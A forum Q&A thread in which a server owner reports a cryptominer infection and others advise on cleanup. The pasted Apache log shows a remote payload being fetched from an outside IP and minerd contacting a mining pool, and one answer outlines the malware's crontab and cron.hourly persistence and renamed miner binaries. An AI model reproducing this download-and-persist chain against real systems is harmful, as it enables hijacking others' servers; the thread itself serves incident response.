Server hijacked / being used as bitcoin miner - how to I stop this?

Question

I'm in a bit of a situation, my server has been hijacked and it appears to be involved in a bitcoin mining operation.

I need to know where to start at least, I'm a novice system admin and haven't really encountered this before. It's blowing my bandwidth out of the water and I'm being charged by my hosting provider 50c per GB and it jumped 255GB ->301.8GB in one day because of this. Any help is appreciated.

I've found a lot junk in the logs relating to Stratum as well as scripts on external IP addresses running against my server. Then I look in my /tmp dir and I see 7 files which are

bash
cron.d
mech.dir
sh
spamd_full.sock
update

An example of the contents of my apache error log is as follows:

[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] --2013-11-28 16:27:40--  http://74.208.228.113/sh
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] Connecting to 74.208.228.113:80...
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] connected.
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] HTTP request sent, awaiting response...
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] 200 OK
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] Length:
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] 518288
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]  (506K)
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]  [text/plain]
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] Saving to: `sh'
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]      0K
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] ... .......... ..........  9%  148K 3s
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]     50K ........
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] .. .......... .......... .......... .....
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] ..... 19%  172K 3s
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]    100K .......... .......... ......
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .... .......... .......... 29%  344K 2s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    150K .......
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ... .......... .......... .......... .......... 39%  514K 1s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    200K .........
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]  ..
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ..
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .. .......... .......... .......... 49%  347K 1s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    250K .......... .......... .......... ........
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .. .......... 59%  347K 1s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    300K .......... .......... .......... .......... .......... 69%  224M 1s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    350K .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ......... .......... .......... .......... .......... 79%  347K 0s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    400K .......... ...
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ....... .......... .......... .......... 88%  348K 0s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    450K .......... .......... .......... .......... .......... 98%  254M 0s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    500K ...
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ...                                                100% 64.1K=1.5s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] 2013-11-28 16:27:41 (328 KB/s) - `sh' saved [518288/518288]
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:27:58 2013] [error] [client 173.201.45.104] kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] a: line 24: ./bash: No such file or directory
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] chattr
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] :
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] Operation not permitted
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] while setting flags on bash
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] \r
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] chattr
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] :
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] Operation not permitted
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] while setting flags on sh
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] \r
[Thu Nov 28 16:28:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:28] 2 miner threads started, using 'scrypt' algorithm.
[Thu Nov 28 16:28:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:28] Starting Stratum on stratum+tcp://216.230.103.42:3333
[Thu Nov 28 16:28:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:28] Stratum connection failed: Failed connect to 216.230.103.42:3333; Connection refused
[Thu Nov 28 16:28:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:28] ...retry after 30 seconds
[Thu Nov 28 16:28:33 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:33] Binding thread 1 to cpu 1
[Thu Nov 28 16:28:58 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:58] Stratum connection failed: Failed connect to 216.230.103.42:3333; Connection refused
[Thu Nov 28 16:28:58 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:58] ...retry after 30 seconds
[Thu Nov 28 16:29:21 2013] [error] [client 173.201.45.104] [2013-11-28 16:29:21] Binding thread 0 to cpu 0
[Thu Nov 28 16:29:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:29:28] Stratum connection failed: Failed connect to 216.230.103.42:3333; Connection refused

score 3 · Accepted Answer · answered Dec 04 '13 at 17:01

I'd first block the connection to the external addresses using the iptables

iptables -A OUTPUT -d IP_Address -j DROP

Once you've made sure all the IP Addresses are being blocked, save the iptables: # /sbin/service iptables save then clean up the files placed by the hijacker.

You may want to look at /etc/var/log/messages and /etc/var/log/secure to see if there are any entries left by the hijacker that may indicate how he/she may have grabbed a foothold on your server.

If you are running a website, make sure you don't have any web pages that allow users to upload files like PHP shells.

This should get you started. You can also ask your hosting provider to perform an antivirus scan to look for any scripts / files that allow access.

score 1 · Answer 2 · answered Dec 10 '13 at 17:22

Your bots miners aren't connecting, so it keeps re-running the exploit and downloading the miners over and over and over.

We recently saw an exploit attempt of bad cgi-bin settings that looks related.

It was attempting to download

74.208.228.113 / a

and execute that as a shell script.

That script does a few things when we looked at it, it wiped out the crontab entry and replaced it with an attempt to run a script pulled from

74.208.228.113 / update

It also places the same script in /etc/cron.hourly

That script does a 'ps x' and greps for a successful miner connection. If it doesn't see it, it downloads the a script again and re-runs.

At the very end of the a script, it grabs

74.208.228.113 / clamav

and

74.208.228.113 / sh

which look to be differently compiled versions of minerd. It renames the clamav to bash and then launches both mining at 216.230.103.42.

So, if you were exploited in a similar manner, you need to:

disable cgi-bin
check the crontab for whatever user runs httpd (likely root or apache) and delete the "update" entry
check /etc/cron.hourly/ for a file called update and see if it references the 216.230.103.42 that the miners cannot connect to. Delete that one to

It's those update entries that are using the bandwidth. The crontab one is running once a minute, every minute.

However, I think a better answer is to nuke it from orbit. If your cgi-bin is set to allow remote exploits that run scripts, there's no guarantee

Server hijacked / being used as bitcoin miner - how to I stop this?

2 Answers2